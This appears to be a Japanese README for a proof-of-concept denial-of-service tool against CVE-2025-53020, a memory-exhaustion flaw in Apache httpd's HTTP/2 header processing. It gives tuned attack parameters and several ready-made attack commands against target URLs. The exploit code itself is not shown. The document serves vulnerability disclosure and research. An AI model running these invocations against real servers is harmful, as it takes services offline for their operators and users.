
CVE-2025-53020 の実証コードです。2025年半ばに発見した、Apache httpd の HTTP/2 実装におけるメモリ枯渇脆弱性です。
📖 詳細解説: galbarnahum.com/posts/apache-httpd-cve-2025-53020
Apache httpd は、HTTP/2 ヘッダー処理を介したサービス拒否攻撃に対して脆弱です。この脆弱性は、HTTP/2 リクエスト内で繰り返されるヘッダー名を処理する際に、不必要なメモリ重複が発生することに起因します。
h2 - HTTP/2 プロトコルライブラリtqdm - 攻撃可視化用のプログレスバーpip install h2 tqdm
python poc.py --url https://target.example.com/
| 引数 | デフォルト | 説明 |
|---|---|---|
--url | 必須 | ターゲット URL(例: https://example.com/path) |
--header-name-length | 4064 | ヘッダー名の長さ(最大: 4064) |
--header-reps | 2063 | リクエストあたりのヘッダー繰り返し数(推奨最大: 2063) |
--requests-per-batch | 1 | バッチあたりのリクエスト数 |
--batches | 100 | 送信するバッチ数 |
--delay | 0 | バッチ間の遅延(秒) |
--num-headers-to-repeat | 1 | 作成する異なるヘッダー名の数(文字 a, b, c などを使用) |
HTTPS ターゲットへの標準攻撃:
python poc.py --url https://target.com/api/endpoint
カスタムヘッダー設定での攻撃:
python poc.py --url http://localhost:8080/test --header-reps 1000 --batches 200
複数の異なるヘッダー名での攻撃:
python poc.py --url https://target.com --num-headers-to-repeat 3 --header-name-length 3000
バッチ間の遅延を設定した低速攻撃:
python poc.py --url https://target.com --delay 0.5 --batches 500
この PoC には、空のヘッダー値を適切に処理するための h2 ライブラリの HPACK エンコーダーパッチが含まれています。これは、エンコーダーが空の文字列値を持つヘッダーを誤ってインデックス化するバグ(None をチェックせずに "" を偽として扱う)を修正します。
--num-headers-to-repeat > 1 を使用する場合、ヘッダー名の長さは 4000 未満にする必要がありますCVE-2025-53020 の影響を受ける Apache httpd バージョン。詳細なバージョン情報とパッチについては、Apache 公式セキュリティ勧告を確認してください。
⚠️ このツールは教育目的および許可されたセキュリティテスト目的でのみ提供されています。
このプロジェクトはセキュリティ研究目的です。責任を持って倫理的に使用してください。